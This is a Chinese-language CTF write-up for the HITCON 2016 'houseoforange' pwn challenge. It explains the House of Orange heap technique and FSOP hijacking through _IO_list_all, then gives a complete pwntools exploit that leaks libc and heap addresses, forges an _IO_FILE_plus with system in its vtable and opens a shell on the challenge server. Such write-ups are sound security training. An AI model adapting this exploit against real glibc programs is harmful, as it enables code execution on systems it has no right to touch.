題目分析
只有添加,顯示,編輯三個功能,沒有刪除
添加函數,最多隻能添加四次,每次添加會依次執行malloc(0x10),malloc(name_size),calloc(8),name_size最大爲8
House結構體如下
struct Info{
int price;
int color;
}
struct House{
Info* info;
char* name;
}
在編輯函數中,可以重新輸入長度進行堆溢出
編輯次數最多爲3
利用原理
house of orange
根據題分析,本題是沒有釋放功能的,但是如果沒有空閒的chunk我們難以獲取libc地址,下面就介紹一種不需要釋放就能得到unsored bin的辦法
當我們申請一塊內存時,malloc函數會檢查各種bin,都不滿足條件之後會檢查top chunk是否滿足,(由於本題的堆溢出使得我們可以修改topchunk的size),如果topchunk也不行,就需要調用sysmalloc來申請內存,而此時又分爲brk 和 mmap兩種方式
如果所需分配的 chunk 大小大於 mmap 分配閾值(默認爲 128K,0x20000),就會調用mmap
所以我們分配的內存需要小於這個
然後來到下一個判斷
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
這裏需要滿足幾個條件:
- topchunk size > MINSIZE(0x10)
- top chunk inuse位爲1
- 修改之後的 size 必須要對齊到內存頁
滿足之後,top chunk就被free,從而進入unsorted bin
FSOP
在libc的_IO_list_all
中,存放有一個_IO_FILE_plus
結構體的指針,
如下圖,它指向_IO_2_1_stderr_
:
而_IO_FILE_plus
結構體詳細內容如下
其中_chain指向下一個_IO_FILE_plus
結構體
在malloc中,它調用malloc_printerr來打印錯誤,經過一系列調用,最終來到_IO_flush_all_lockp
:
while (fp != NULL)
{
…
fp = fp->_chain;
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
如果滿足以下條件:
- fp->_mode > 0
- _IO_vtable_offset (fp) == 0
- fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
就會調用 _IO_OVERFLOW
,並把結構體當做第一個參數傳入
如果我們能夠把 _IO_OVERFLOW
改爲system,並且僞造結構體,開頭爲/bin/sh,就能獲得shell了
漏洞利用
本題分爲兩個步驟,首先使用house of orange的辦法釋放出unsorted bin ,然後利用FSOP劫持控制流
- 申請一個小的house,然後把top chunk的大小改小
- 申請一個較大的house(此時原來的topchunk被釋放進unsorted bin),再申請一個large bin範圍內的house(切割unsorted bin),利用該house 泄露libc和堆地址
- 編輯house,把剩下unsorted bin的size改爲0x60,並在其中僞造
_IO_FILE_plus
結構體和unsorted bin chunk
在這一步中,我們首先利用unsorted bin attack修改_IO_list_all
,這需要把該chunk的bk改爲_IO_list_all
-0x10 - 再次malloc,觸發錯誤,獲得shell
malloc時,對unsorted bin進行判斷,此時該chunk的size爲0x60,不滿足要求,就把該chunk放入small bin,並且向bk->fd寫入main_arena+0x58,即向_IO_list_all
寫入main_arena+0x58
此時判斷下一個unsorted bin(_IO_list_all
),而這裏實際上沒有chunk,此時會觸發錯誤
此時第一個_IO_FILE_plus
結構體爲main_arena+0x58,而它不滿足條件,就通過_chain調到下一個_IO_FILE_plus
結構體,_chain位於0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,這就回到了我們僞造的_IO_FILE_plus
結構體
Exp
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 26548)
#r = process("./hitcon_2016_houseoforange")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x13CB)
c
x/10gx $rebase(0x203068)
''')
elf = ELF("./hitcon_2016_houseoforange")
libc = ELF('./libc/libc-2.23.so')
def add(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('1')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name :")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))
def show():
r.recvuntil("Your choice : ")
r.sendline('2')
def edit(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('3')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name:")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))
add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)
add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']
payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))
#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')
r.interactive()